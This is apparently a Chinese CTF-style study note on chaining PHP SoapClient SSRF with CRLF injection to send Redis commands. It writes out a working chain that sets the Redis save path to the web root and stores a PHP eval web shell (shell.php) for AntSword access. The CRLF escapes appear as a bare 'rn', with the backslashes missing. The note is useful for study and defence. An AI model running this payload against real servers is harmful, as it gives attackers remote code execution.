SoapClientSSRF+CRLF Injection+Redis
CRLF Injection漏洞的利用与实例分析 – phith0n
利用SoapClient类进行SSRF+CRLF攻击-CSDN博客
SoapClientSSRF:
SOAP:webService三要素(SOAP、WSDL、UDDI)之一, SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口,其采用HTTP作为底层通讯协议,XML作为数据传送的格式。其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。所以可以理解为当php调用不存在的方法时,自动用soapclient发一个包,且此时发包者是服务器本身,由此我们便打出了一个ssrf
格式:
<?php
$a = new SoapClient(null, array(‘location’ => "http://xxx.xxx.xxx",
‘uri’ => "123"));
echo serialize($a);
?>
第一个参数是用来指明是否是wsdl模式利用时设置为null,第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
CRLF Injection:
CRLF是”回车 + 换行”(rn)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。
Redis:
Redis(Remote Dictionary Server) 是一个开源的、基于内存的键值存储系统,常被用作:数据库,缓存,消息中间件。
以下是一些指令:
SET key value [EX seconds] [PX milliseconds]:设置 key 的值(可选过期时间)
GET key:获取 key 的值
INCR key:将 key 的值 +1(必须是整数)
DECR key:将 key 的值 -1
APPEND key value:追加字符串到 key 的值末尾
AUTH 20251206:尝试使用密码 `20251206` 进行登录
CONFIG SET dir /var/www/html/:将保存文件的目录改为/var/www/html/
CONFIG SET dbfilename shell.php:将默认文件名dbfilename改为shell.php
SET x '<?= @eval($_POST[1]) ?>':将x键的值设置为'<?= @eval($_POST[1]) ?>'
SAVE:保存文件
联合使用:当目标服务调用了不存在方法,且存在可控SoapClient,使用Redis且密码已知时,我们可以打:
SoapClient(null, array('location' => "http://xxx.xxx.xxx", 'uri' => "hello"rnAUTH PASSWORDrnCONFIG SET dir /var/www/html/rnCONFIG SET dbfilename shell.phprnSET x '<?= @eval($_POST[1]) ?>'rnSAVErnhello");
上传木马然后用蚁剑连接。